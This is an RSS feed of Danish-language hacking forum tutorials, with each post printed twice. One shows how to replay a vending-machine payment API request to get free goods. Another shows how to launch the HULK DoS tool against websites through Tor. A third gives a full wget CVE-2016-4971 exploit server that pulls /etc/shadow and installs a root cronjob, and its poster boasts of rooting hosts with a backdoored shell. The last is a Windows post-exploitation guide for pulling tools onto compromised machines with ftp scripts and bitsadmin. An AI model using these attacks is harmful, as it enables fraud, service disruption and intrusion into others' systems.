<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Shellsec - Vejledninger]]></title>
		<link>https://www.shellsec.pw/</link>
		<description><![CDATA[Shellsec - https://www.shellsec.pw]]></description>
		<pubDate>Sun, 17 May 2026 14:47:12 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[[GRATIS] Hack en automat og få gratis mad/drikke]]></title>
			<link>https://www.shellsec.pw/traad-gratis-hack-en-automat-og-faa-gratis</link>
			<pubDate>Wed, 16 May 2018 22:07:43 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-gratis-hack-en-automat-og-faa-gratis</guid>
			<description><![CDATA[Davs igen... Så kom der en lille tutorial igen :)<br />
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Beskrivelse:</span></span><br />
Med lidt hjerne og forståelse indenfor POST Requests, så kan du hacke dig frem til dit næste måltid.<br />
Jeg anbefaler ikke at du gør dette, medmindre du er en som ejer sådan en her maskine, da det kan få store konsekvenser.<br />
<br />
Denne tutorial er kun til <span style="font-style: italic;" class="mycode_i">educational purposes only (udelukkende til uddannelsesformål) og er blevet rapporteret og vil derfor højst sandsynligt blive fikset snarrest.</span><br />
<br />
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Hvad du skal bruge:</span></span><ul class="mycode_list"><li>En Go!Vend Automat<br />
</li>
<li>En hjerne<br />
</li>
<li>En platform/program/addon til at fange/sende POST Requests (hvis du ikke ved hvordan man gør det, så behøver du ikke at læse videre)<br />
</li>
</ul>
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Lad os begynde:</span></span><br />
<br />
De har lavet deres API på denne "fantastiske" måde med, at du blot kan sende en request, som normalt bliver lavet, når du har overført et beløb til automaten. Denne request er åben og har ingen næsten ingen form for validering.<br />
<br />
Først skal du fange requesten. Det går jeg ud fra at du ved hvordan man gør... (burp, fiddler... andet mitm program)<br />
<br />
Nu kommer den sjove part! :D<br />
Du skal nu blot gensende requesten som sørger for at maskinen ved at den har "modtaget" penge.<br />
<br />
En request kan se sådan her ud:<br />
<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>TheHacker Skrev:</cite>POST <a href="http://goappified.cumulocity.com/vendme-service/api/voucher?machine" target="_blank" rel="noopener" class="mycode_url">http://goappified.cumulocity.com/vendme-...er?machine</a>=<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX</span>&amp;value=<span style="color: #3399ff;" class="mycode_color">YY</span>&amp; HTTP/1.1<br />
Host: goappified.cumulocity.com<br />
Content-Type: application/json<br />
User-Agent: Go!Vend/1.4<br />
Connection: close<br />
Accept: application/json<br />
X-Cumulocity-Application-Key: vendme<br />
Content-Length: 42<br />
Authorization: Basic <span style="color: #cccc33;" class="mycode_color">ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ</span><br />
Accept-Language: da-DK;q=1, en-US;q=0.9<br />
<br />
{"machine":"<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX</span>","value":"<span style="color: #3399ff;" class="mycode_color">YY</span>"}</blockquote><br />
<br />
<br />
</div></div>
I det øjeblik denne request vil blive sendt, vil maskinen automatisk tro at den har fået overført penge og du kan derfor ændre værdien, <span style="color: #3399ff;" class="mycode_color">YY</span>,som du har lyst til. Så hvis du ville have en ting til 17 kr., så kan du blot skrive 17 ind på <span style="color: #3399ff;" class="mycode_color">YY</span>'s plads.<br />
<br />
<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX </span>er maskinens ID og kan findes ved at fange requesten eller blot finde en QR scanner og scanne QR koden.<br />
<br />
<span style="color: #cccc33;" class="mycode_color">ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ </span>er det som gør at du skal ud til maskinen igen senere og fange en ny request, fordi den udløber efter x antal tid.<br />
<br />
<br />
Det er som sagt allerede blevet sagt videre til virksomheden, Go!Vend, som er partnere med Arla.<br />
<br />
<br />
 - TheHacker, ude <img src="https://www.shellsec.pw/images/smilies/facebook/love.png" alt="Love" title="Love" class="smilie smilie_73" />]]></description>
			<content:encoded><![CDATA[Davs igen... Så kom der en lille tutorial igen :)<br />
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Beskrivelse:</span></span><br />
Med lidt hjerne og forståelse indenfor POST Requests, så kan du hacke dig frem til dit næste måltid.<br />
Jeg anbefaler ikke at du gør dette, medmindre du er en som ejer sådan en her maskine, da det kan få store konsekvenser.<br />
<br />
Denne tutorial er kun til <span style="font-style: italic;" class="mycode_i">educational purposes only (udelukkende til uddannelsesformål) og er blevet rapporteret og vil derfor højst sandsynligt blive fikset snarrest.</span><br />
<br />
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Hvad du skal bruge:</span></span><ul class="mycode_list"><li>En Go!Vend Automat<br />
</li>
<li>En hjerne<br />
</li>
<li>En platform/program/addon til at fange/sende POST Requests (hvis du ikke ved hvordan man gør det, så behøver du ikke at læse videre)<br />
</li>
</ul>
<span style="font-family: Impact;" class="mycode_font"><span style="font-size: x-large;" class="mycode_size">Lad os begynde:</span></span><br />
<br />
De har lavet deres API på denne "fantastiske" måde med, at du blot kan sende en request, som normalt bliver lavet, når du har overført et beløb til automaten. Denne request er åben og har ingen næsten ingen form for validering.<br />
<br />
Først skal du fange requesten. Det går jeg ud fra at du ved hvordan man gør... (burp, fiddler... andet mitm program)<br />
<br />
Nu kommer den sjove part! :D<br />
Du skal nu blot gensende requesten som sørger for at maskinen ved at den har "modtaget" penge.<br />
<br />
En request kan se sådan her ud:<br />
<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>TheHacker Skrev:</cite>POST <a href="http://goappified.cumulocity.com/vendme-service/api/voucher?machine" target="_blank" rel="noopener" class="mycode_url">http://goappified.cumulocity.com/vendme-...er?machine</a>=<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX</span>&amp;value=<span style="color: #3399ff;" class="mycode_color">YY</span>&amp; HTTP/1.1<br />
Host: goappified.cumulocity.com<br />
Content-Type: application/json<br />
User-Agent: Go!Vend/1.4<br />
Connection: close<br />
Accept: application/json<br />
X-Cumulocity-Application-Key: vendme<br />
Content-Length: 42<br />
Authorization: Basic <span style="color: #cccc33;" class="mycode_color">ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ</span><br />
Accept-Language: da-DK;q=1, en-US;q=0.9<br />
<br />
{"machine":"<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX</span>","value":"<span style="color: #3399ff;" class="mycode_color">YY</span>"}</blockquote><br />
<br />
<br />
</div></div>
I det øjeblik denne request vil blive sendt, vil maskinen automatisk tro at den har fået overført penge og du kan derfor ændre værdien, <span style="color: #3399ff;" class="mycode_color">YY</span>,som du har lyst til. Så hvis du ville have en ting til 17 kr., så kan du blot skrive 17 ind på <span style="color: #3399ff;" class="mycode_color">YY</span>'s plads.<br />
<br />
<span style="color: #cc3333;" class="mycode_color">XXXXXXXXXXXXXXX </span>er maskinens ID og kan findes ved at fange requesten eller blot finde en QR scanner og scanne QR koden.<br />
<br />
<span style="color: #cccc33;" class="mycode_color">ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ </span>er det som gør at du skal ud til maskinen igen senere og fange en ny request, fordi den udløber efter x antal tid.<br />
<br />
<br />
Det er som sagt allerede blevet sagt videre til virksomheden, Go!Vend, som er partnere med Arla.<br />
<br />
<br />
 - TheHacker, ude <img src="https://www.shellsec.pw/images/smilies/facebook/love.png" alt="Love" title="Love" class="smilie smilie_73" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VEJLEDNING] DOS SCRIPT [HULK]]]></title>
			<link>https://www.shellsec.pw/traad-vejledning-dos-script-hulk</link>
			<pubDate>Thu, 09 Mar 2017 18:55:26 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-vejledning-dos-script-hulk</guid>
			<description><![CDATA[Hey, ville lige smide en lille guide op. ;) <br />
<span style="font-weight: bold;" class="mycode_b">* Det er ikke mig der har lavet scriptet.</span><br />
Det du skal bruge:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Kali Linux</span><br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Hurtigt internet </span><br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Basis information omkring .go filer</span><br />
</li>
</ul>
<br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u">Vejledning:<br />
</span></span></span><blockquote class="mycode_quote"><cite>Citer:</cite>Du åbner dit Kali Linux<br />
Skriver følgene: <br />
<br />
apt-get install golang-go<br />
git clone <a href="https://github.com/grafov/hulk.git" target="_blank" rel="noopener" class="mycode_url">https://github.com/grafov/hulk.git</a><br />
cd hulk<br />
go run hulk.go --site <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
<br />
For python:<br />
apt-get install python<br />
python hulk.py <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
<br />
For proxy:<br />
<br />
apt-get install proxychains<br />
apt-get install tor<br />
service tor restart<br />
proxychains go run hulk.go --site <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
Eller:<br />
proxychains python hulk.py <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her) </blockquote>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Så skulle det meget gerne virke.<br />
</span><br />
Kort lille guide, håber i kunne bruge det. ;)<br />
<br />
- sl4yer]]></description>
			<content:encoded><![CDATA[Hey, ville lige smide en lille guide op. ;) <br />
<span style="font-weight: bold;" class="mycode_b">* Det er ikke mig der har lavet scriptet.</span><br />
Det du skal bruge:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Kali Linux</span><br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Hurtigt internet </span><br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Basis information omkring .go filer</span><br />
</li>
</ul>
<br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u">Vejledning:<br />
</span></span></span><blockquote class="mycode_quote"><cite>Citer:</cite>Du åbner dit Kali Linux<br />
Skriver følgene: <br />
<br />
apt-get install golang-go<br />
git clone <a href="https://github.com/grafov/hulk.git" target="_blank" rel="noopener" class="mycode_url">https://github.com/grafov/hulk.git</a><br />
cd hulk<br />
go run hulk.go --site <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
<br />
For python:<br />
apt-get install python<br />
python hulk.py <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
<br />
For proxy:<br />
<br />
apt-get install proxychains<br />
apt-get install tor<br />
service tor restart<br />
proxychains go run hulk.go --site <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her)<br />
Eller:<br />
proxychains python hulk.py <a href="http://0.0.0.0/" target="_blank" rel="noopener" class="mycode_url">http://0.0.0.0/</a> (Hjemmesiden her) </blockquote>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Så skulle det meget gerne virke.<br />
</span><br />
Kort lille guide, håber i kunne bruge det. ;)<br />
<br />
- sl4yer]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hack servere med wget!]]></title>
			<link>https://www.shellsec.pw/traad-cve-hack-servere-med-wget</link>
			<pubDate>Tue, 23 Aug 2016 15:11:55 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-cve-hack-servere-med-wget</guid>
			<description><![CDATA[CVE LINK: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971" target="_blank" rel="noopener" class="mycode_url">https://cve.mitre.org/cgi-bin/cvename.cg...-2016-4971</a><br />
<br />
Jeg vil gerne introducere jer til et relativt nyt exploit som er fundet i wget 1.18 og gør at vi kan uploade arbitrary filer.<br />
Dette exploit gør at vi med en kompromitteret webserver kan levere vores angreb. Med dette exploit kan du escalere root hvis wget køres via et root cronjob.<br />
<br />
Angribern der skal kontrollerer serveren skal kunne få wget til at lave en arbitrary fil med arbitrary indhold og filnavn igennem et HTTP redirect som indeholder FTP serveren så man kan modtage svar fra victim-serveren.<br />
<br />
For eksempel, hvis angriberen server svarer med følgende reaktion:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">HTTP/1.1 302 Found</span><br />
<span style="font-weight: bold;" class="mycode_b">Cache-Control: private</span><br />
<span style="font-weight: bold;" class="mycode_b">Content-Type: text/html; charset=UTF-8</span><br />
<span style="font-weight: bold;" class="mycode_b">Location: ftp://attackers-server/.bash_profile</span><br />
<span style="font-weight: bold;" class="mycode_b">Content-Length: 262</span><br />
<span style="font-weight: bold;" class="mycode_b">Server: Apache</span><br />
<br />
<br />
wget vil automatisk følge omdirigering og vil hente en ondsindet<br />
.bash_profile fil fra en ondsindet FTP-server.<br />
Det vil undlade at omdøbe filen til det oprindeligt ønskede filnavn<br />
»Safe_file.txt", som det normalt ville gøre, i tilfælde af en omdirigering til en anden<br />
HTTP ressource med et andet navn.<br />
Denne sårbarhed vil ikke fungere, hvis ekstra muligheder, der tvinger destination<br />
filnavn angives som en parameter. Såsom: -O / tmp / output<br />
Det er dog muligt at udnytte spørgsmålet med spejling / rekursive muligheder<br />
aktiveret såsom -r eller -m.<br />
<br />
En anden begrænsning er hvis vi udnytter denne sårbarhed kan vi kun<br />
uploade vores ondsinde fil til den mappe hvorfra wget blev kørt,<br />
eller til en mappe der angives af -P option (directory_prefix option).<br />
<br />
Den aktuelle begrænsning kunne også omgås ved at uploade en .wgetrc<br />
config fil.<br />
<br />
For at kunne bruge exploitet skal du lave en FTP server og selv skrive din ondsindede version af .wgetrc <br />
Har selv skaffet nogle roots over de 4 timer jeg testede ved at smide en backdoored shell op på et russisk forum.<br />
<br />
<br />
<pre class="line-numbers"><code class="language-python"># Wget 1.18 &lt; Arbitrary File Upload Exploit<br />
# Dawid Golunski<br />
# CVE-2016-4971 <br />
<br />
import SimpleHTTPServer<br />
import SocketServer<br />
import socket;<br />
<br />
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):<br />
  def do_GET(self):<br />
      # This takes care of sending .wgetrc<br />
<br />
      print "We have a volunteer requesting " + self.path + " by GET :)\n"<br />
      if "Wget" not in self.headers.getheader('User-Agent'):<br />
 print "But it's not a Wget :( \n"<br />
         self.send_response(200)<br />
         self.end_headers()<br />
         self.wfile.write("Nothing to see here...")<br />
         return<br />
<br />
      print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"<br />
      self.send_response(301)<br />
      new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )<br />
      print "Sending redirect to %s \n"%(new_path)<br />
      self.send_header('Location', new_path)<br />
      self.end_headers()<br />
<br />
  def do_POST(self):<br />
      # In here we will receive extracted file and install a PoC cronjob<br />
<br />
      print "We have a volunteer requesting " + self.path + " by POST :)\n"<br />
      if "Wget" not in self.headers.getheader('User-Agent'):<br />
 print "But it's not a Wget :( \n"<br />
         self.send_response(200)<br />
         self.end_headers()<br />
         self.wfile.write("Nothing to see here...")<br />
         return<br />
<br />
      content_len = int(self.headers.getheader('content-length', 0))<br />
      post_body = self.rfile.read(content_len)<br />
      print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)<br />
<br />
      print "Sending back a cronjob script as a thank-you for the file..." <br />
      print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"<br />
      self.send_response(200)<br />
      self.send_header('Content-type', 'text/plain')<br />
      self.end_headers()<br />
      self.wfile.write(ROOT_CRON)<br />
<br />
      print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"<br />
<br />
      return<br />
<br />
HTTP_LISTEN_IP = '192.168.57.1'<br />
HTTP_LISTEN_PORT = 80<br />
FTP_HOST = '192.168.57.1'<br />
FTP_PORT = 21<br />
<br />
ROOT_CRON = "* * * * * root /usr/bin/id &gt; /root/hacked-via-wget \n"<br />
<br />
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)<br />
<br />
print "Ready? Is your FTP server running?"<br />
<br />
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
result = sock.connect_ex((FTP_HOST, FTP_PORT))<br />
if result == 0:<br />
  print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)<br />
else:<br />
  print "FTP is down :( Exiting."<br />
  exit(1)<br />
<br />
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT<br />
<br />
handler.serve_forever()<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[CVE LINK: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971" target="_blank" rel="noopener" class="mycode_url">https://cve.mitre.org/cgi-bin/cvename.cg...-2016-4971</a><br />
<br />
Jeg vil gerne introducere jer til et relativt nyt exploit som er fundet i wget 1.18 og gør at vi kan uploade arbitrary filer.<br />
Dette exploit gør at vi med en kompromitteret webserver kan levere vores angreb. Med dette exploit kan du escalere root hvis wget køres via et root cronjob.<br />
<br />
Angribern der skal kontrollerer serveren skal kunne få wget til at lave en arbitrary fil med arbitrary indhold og filnavn igennem et HTTP redirect som indeholder FTP serveren så man kan modtage svar fra victim-serveren.<br />
<br />
For eksempel, hvis angriberen server svarer med følgende reaktion:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">HTTP/1.1 302 Found</span><br />
<span style="font-weight: bold;" class="mycode_b">Cache-Control: private</span><br />
<span style="font-weight: bold;" class="mycode_b">Content-Type: text/html; charset=UTF-8</span><br />
<span style="font-weight: bold;" class="mycode_b">Location: ftp://attackers-server/.bash_profile</span><br />
<span style="font-weight: bold;" class="mycode_b">Content-Length: 262</span><br />
<span style="font-weight: bold;" class="mycode_b">Server: Apache</span><br />
<br />
<br />
wget vil automatisk følge omdirigering og vil hente en ondsindet<br />
.bash_profile fil fra en ondsindet FTP-server.<br />
Det vil undlade at omdøbe filen til det oprindeligt ønskede filnavn<br />
»Safe_file.txt", som det normalt ville gøre, i tilfælde af en omdirigering til en anden<br />
HTTP ressource med et andet navn.<br />
Denne sårbarhed vil ikke fungere, hvis ekstra muligheder, der tvinger destination<br />
filnavn angives som en parameter. Såsom: -O / tmp / output<br />
Det er dog muligt at udnytte spørgsmålet med spejling / rekursive muligheder<br />
aktiveret såsom -r eller -m.<br />
<br />
En anden begrænsning er hvis vi udnytter denne sårbarhed kan vi kun<br />
uploade vores ondsinde fil til den mappe hvorfra wget blev kørt,<br />
eller til en mappe der angives af -P option (directory_prefix option).<br />
<br />
Den aktuelle begrænsning kunne også omgås ved at uploade en .wgetrc<br />
config fil.<br />
<br />
For at kunne bruge exploitet skal du lave en FTP server og selv skrive din ondsindede version af .wgetrc <br />
Har selv skaffet nogle roots over de 4 timer jeg testede ved at smide en backdoored shell op på et russisk forum.<br />
<br />
<br />
<pre class="line-numbers"><code class="language-python"># Wget 1.18 &lt; Arbitrary File Upload Exploit<br />
# Dawid Golunski<br />
# CVE-2016-4971 <br />
<br />
import SimpleHTTPServer<br />
import SocketServer<br />
import socket;<br />
<br />
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):<br />
  def do_GET(self):<br />
      # This takes care of sending .wgetrc<br />
<br />
      print "We have a volunteer requesting " + self.path + " by GET :)\n"<br />
      if "Wget" not in self.headers.getheader('User-Agent'):<br />
 print "But it's not a Wget :( \n"<br />
         self.send_response(200)<br />
         self.end_headers()<br />
         self.wfile.write("Nothing to see here...")<br />
         return<br />
<br />
      print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"<br />
      self.send_response(301)<br />
      new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )<br />
      print "Sending redirect to %s \n"%(new_path)<br />
      self.send_header('Location', new_path)<br />
      self.end_headers()<br />
<br />
  def do_POST(self):<br />
      # In here we will receive extracted file and install a PoC cronjob<br />
<br />
      print "We have a volunteer requesting " + self.path + " by POST :)\n"<br />
      if "Wget" not in self.headers.getheader('User-Agent'):<br />
 print "But it's not a Wget :( \n"<br />
         self.send_response(200)<br />
         self.end_headers()<br />
         self.wfile.write("Nothing to see here...")<br />
         return<br />
<br />
      content_len = int(self.headers.getheader('content-length', 0))<br />
      post_body = self.rfile.read(content_len)<br />
      print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)<br />
<br />
      print "Sending back a cronjob script as a thank-you for the file..." <br />
      print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"<br />
      self.send_response(200)<br />
      self.send_header('Content-type', 'text/plain')<br />
      self.end_headers()<br />
      self.wfile.write(ROOT_CRON)<br />
<br />
      print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"<br />
<br />
      return<br />
<br />
HTTP_LISTEN_IP = '192.168.57.1'<br />
HTTP_LISTEN_PORT = 80<br />
FTP_HOST = '192.168.57.1'<br />
FTP_PORT = 21<br />
<br />
ROOT_CRON = "* * * * * root /usr/bin/id &gt; /root/hacked-via-wget \n"<br />
<br />
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)<br />
<br />
print "Ready? Is your FTP server running?"<br />
<br />
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
result = sock.connect_ex((FTP_HOST, FTP_PORT))<br />
if result == 0:<br />
  print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)<br />
else:<br />
  print "FTP is down :( Exiting."<br />
  exit(1)<br />
<br />
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT<br />
<br />
handler.serve_forever()<br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Windows postexpl. - Filedownload med BITSAdmin Tool]]></title>
			<link>https://www.shellsec.pw/traad-windows-postexpl-filedownload-med-bitsadmin--3441</link>
			<pubDate>Sun, 24 Jan 2016 18:58:13 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-windows-postexpl-filedownload-med-bitsadmin--3441</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Mål:</span><br />
Hvis man får adgang til en Linux shell, er det ofte rimelig trivielt at downloade yderligere værktøjer til maskinen. curl, wget, ftp, tftp osv., er ofte tilgængelige.<br />
På windows er det en lidt anden sag.<br />
Er man på en windows XP maskine, er der en god chance for, der f.eks. er en ftp klient, men nyere windows har ikke disse tools installeret som standard.<br />
Ellers ender man ofte med at paste et Powershell, eller VBScript over i kommando prompten, for at kunne downloade filer. Ja, der er selvfølgelig andre måder at gøre det på. F.eks. kan man gøre det med Internet Explorer, men det er synligt for brugeren, der sidder ved maskinen.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Udfordring:</span><br />
Ofte er den kommandoprompt man får, ikke rigtig interaktiv, hvis man f.eks. benytter Metasploit til at spawne den, så man kan ikke tale med en "ftp" prompt.<br />
Skal man hente filer via ftp på en XP maskine, vil man skrive noget ala:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Documents and Settings\test&gt;ftp 10.0.2.11<br />
Connected to 10.0.2.11.<br />
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------<br />
220-You are user number 1 of 50 allowed.<br />
220-Local time is now 23:58. Server port: 21.<br />
220-This is a private system - No anonymous login<br />
220-IPv6 connections are also welcome on this server.<br />
220 You will be disconnected after 15 minutes of inactivity.<br />
User (10.0.2.11:(none)): infosec<br />
331 User infosec OK. Password required<br />
Password:<br />
230 OK. Current directory is /<br />
ftp&gt; bye<br />
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.<br />
221 Logout.<br />
<br />
C:\Documents and Settings\test&gt;</blockquote>
<br />
Men her kommer problemet med at kommandoprompten ofte, ikke er rigtig interaktiv, så man når aldrig at udstede en GET kommando. Som jeg så har misset oven over, kan jeg se!<br />
Du får lov at give brugernavnet, men når FTP serveren beder om en kode, hænger det hele.<br />
Heldigvis har ftp klienten til Windows en -s switch, som gør, vi kan angive en fil, som agerer input for os.<br />
Så hvis man paster følgende ind i kommandoprompten, får man en ftpcmd.txt fil, som ftp så bliver aktieret med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>echo open 10.0.2.11&gt;ftpcmd.txt<br />
echo infosec&gt;&gt;ftpcmd.txt<br />
echo SomePassword&gt;&gt;ftpcmd.txt<br />
echo bin&gt;&gt;ftpcmd.txt<br />
echo GET plink.exe&gt;&gt;ftpcmd.txt<br />
echo bye&gt;&gt;ftpcmd.txt<br />
ftp -s:ftpcmd.txt<br />
del ftpcmd.txt</blockquote>
<br />
Ovenstående åbner en FTP forbindelse til 10.0.2.11 med brugeren infosec og koden SomePassword.<br />
Der efter henter den filen plink.exe fra FTP serveren og sletter ftpcmd.txt filen.<br />
Man kan overveje om man vil smide /F eller /Q på "del" kommandoen i scriptet. <br />
Så man kan rette tingene til, som man synes.<br />
Kig lidt på ovenstående og læg mærke til "echo" kommandoerne og output redirection med "&gt;" og "&gt;&gt;".<br />
<br />
Filen ftpcmd.txt vil se ud som her:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>open 10.0.2.11<br />
infosec<br />
SomePassword<br />
bin<br />
GET plink.exe<br />
bye</blockquote>
<br />
Filen vil blive eksekveret af "ftp -s:ftpcmd.txt" og efterfølgende slettet af "del ftpcmd.txt", de to sidste kommandoer i vores paste.<br />
Man kan gøre som ovenstående med andre scripts og få det samme ud af det.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Problemet:</span><br />
Måske er der ikke åben på port 21 i firewall egress regler, eller måske er FTP klienten ikke installeret, eller hvad det nu måtte være.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Løsning:</span><br />
Jeg skal ikke bruge ordet alle, men som i ved, så har lagt de fleste maskiner adgang til Internettet på port 80.<br />
Som nævnt tidligere, kan man snilt finde et script på nettet, der kan gøre det, og jeg har selv gjort det sådan i lang tid. Jeg faldt så over BITSAdmin Tool, som er bygget ind i windows. Det er deprecated, men det findes, selv i Windows 10, og virker fint.<br />
<br />
Jeg vil ikke skrive så meget om, værktøjet i sig selv, da jeg har posted et link til Microsoft, hvor det er beskrevet.<br />
Jeg vil dog nævne, det virker ved, man laver et "job", som i kan se her under, hvor jeg downloader sbd.exe filen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\John Doe\tmp&gt;dir | find "sbd.exe"<br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /create /download SomeJob</span><br />
<br />
BITSADMIN version 3.0 [ 7.5.7601 ]<br />
BITS administration utility.<br />
&copy; Copyright 2000-2006 Microsoft Corp.<br />
<br />
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.<br />
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Created job {3C523925-381F-468D-BB7C-78049B35F9F3}.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /addfile SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\tmp\sbd.exe"</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Added <a href="http://10.0.2.11/sbd.exe" target="_blank" rel="noopener" class="mycode_url">http://10.0.2.11/sbd.exe</a> -&gt; C:\Users\John Doe\tmp\sbd.exe to job.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /list</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' SUSPENDED 0 / 1 0 / UNKNOWN<br />
Listed 1 job(s).</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /resume SomeJob</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Job resumed.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /list</span><br />
...crop...<br />
